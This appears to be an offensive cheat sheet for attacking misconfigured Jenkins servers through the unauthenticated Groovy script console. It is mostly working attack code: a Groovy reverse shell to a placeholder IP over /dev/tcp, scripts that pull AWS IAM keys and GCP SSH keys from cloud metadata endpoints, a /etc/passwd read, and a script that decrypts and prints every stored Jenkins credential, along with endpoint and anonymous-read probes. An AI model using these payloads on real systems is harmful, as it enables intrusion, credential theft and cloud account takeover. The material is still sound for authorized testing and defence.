$ Finding the script console

The Groovy script console is commonly left unauthenticated on misconfigured Jenkins instances. Check these endpoints without credentials:

/script
/script/
/whoAmI
/systemInfo
/credentials/
/asynchPeople/

A quick unauthenticated check:

curl -s -o /dev/null -w "%{http_code}" http://jenkins.example.com/script
# 200 means the script console is open; 403 means it requires auth

If /whoAmI reports anonymous with overall/admin privileges, you have full Groovy execution.

$ AWS IAM role keys

Fetch the instance metadata to dump temporary IAM credentials attached to the Jenkins host:

def command = "wget -q -O - http://169.254.169.254/latest/meta-data/iam/security-credentials/"
def proc = command.execute()
proc.waitFor()

def command2 = "wget -q -O - http://169.254.169.254/latest/meta-data/iam/security-credentials/${proc.in.text}/"
def proc2 = command2.execute()
proc2.waitFor()

println "Process exit code: ${proc2.exitValue()}"
println "Std Err: ${proc2.err.text}"
println "Std Out: ${proc2.in.text}"

This should print the IAM role keys:

Process exit code: 0
Std Err:
Std Out: {
  "Code" : "Success",
  "LastUpdated" : "2018-10-08T15:36:01Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIAXASDASDADSSAD7",
  "SecretAccessKey" : "iSnUqdsffsdfssfdfdsdfdsfNXutY",
  "Token" : "9QNiu+O/+kh6PvtfkDeh47h5eqvIGyiQ6HE+HqmgHtXRgXfdqduR5MdYOo9AzUsdffffffffffLQn6qzPj2sm7anG1v/S4EgP/sdrDOyHk9xeXV58o9PLt3QU=",
  "Expiration" : "2018-10-08T21:53:19Z"
}

$ Reverse shell

Change YOURIP for your IP and YOURPORT for your port. Ensure you have netcat running for the connect back:

def command = "bash -i >& /dev/tcp/YOURIP/YOURPORT 0>&1"
def proc = command.execute()
proc.waitFor()

println "Process exit code: ${proc.exitValue()}"
println "Std Err: ${proc.err.text}"
println "Std Out: ${proc.in.text}"

$ Google metadata public SSH keys

def command = "curl http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json"
def proc = command.execute()
proc.waitFor()

println "Process exit code: ${proc.exitValue()}"
println "Std Err: ${proc.err.text}"
println "Std Out: ${proc.in.text}"

$ Print environment — handy to see if it's a container

def command = "printenv"
def proc = command.execute()
proc.waitFor()

println "Process exit code: ${proc.exitValue()}"
println "Std Err: ${proc.err.text}"
println "Std Out: ${proc.in.text}"

$ Groovy one-liners without the shell

You can run commands directly from the console without a full script wrapper:

"id".execute().text
# or with a shell, for pipes and redirection:
["bash", "-c", "cat /etc/passwd | grep -v nologin"].execute().text

Anything returned from .text prints directly in the console output.

$ Dump stored credentials

Jenkins stores credentials (API tokens, SSH keys, cloud keys) in its credential store. Retrieve and decrypt them all with:

import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.impl.*
import com.cloudbees.plugins.credentials.domains.*
import com.cloudbees.plugins.credentials.common.*

def creds = CredentialsProvider.lookupCredentials(
    com.cloudbees.plugins.credentials.common.StandardUsernameCredentials.class,
    Jenkins.instance, null, null)

creds.each {
  println "${it.id} : ${it.username} : ${it.password ?: it.privateKey}"
}

Secrets stored with the Secret Text type can be revealed with it.secret.getPlainText(). The browsing UI at /credentials/ also lists what exists even when it does not show the values.

$ Useful information gathering via the script console

Enumerate jobs, users, and system details without touching the shell:

# List all jobs and their build status
Jenkins.instance.getAllItems(hudson.model.Job.class).each {
  println "${it.fullName} : ${it.buildHealth.healthScore}"
}

# List all users
Jenkins.instance.getAllItems(hudson.model.User.class).each { println it.id }

# Confirm the JVM and environment Jenkins is running in
println System.getProperty("os.name") + " " + System.getProperty("os.version")
println System.getenv("HOSTNAME")

$ Checking the anonymous read misconfiguration

Two separate issues commonly expose a Jenkins instance: anonymous script console access and anonymous read access. Check both:

curl -s http://jenkins.example.com/api/json?tree=jobs[name] | head -c 500
curl -s http://jenkins.example.com/whoAmI

If the API returns job names, anonymous read is enabled. Job configs at /job/<name>/config.xml may then leak build steps containing hardcoded secrets. Environments listing build parameters at /job/<name>/env-vars.html can leak internal hostnames and tokens.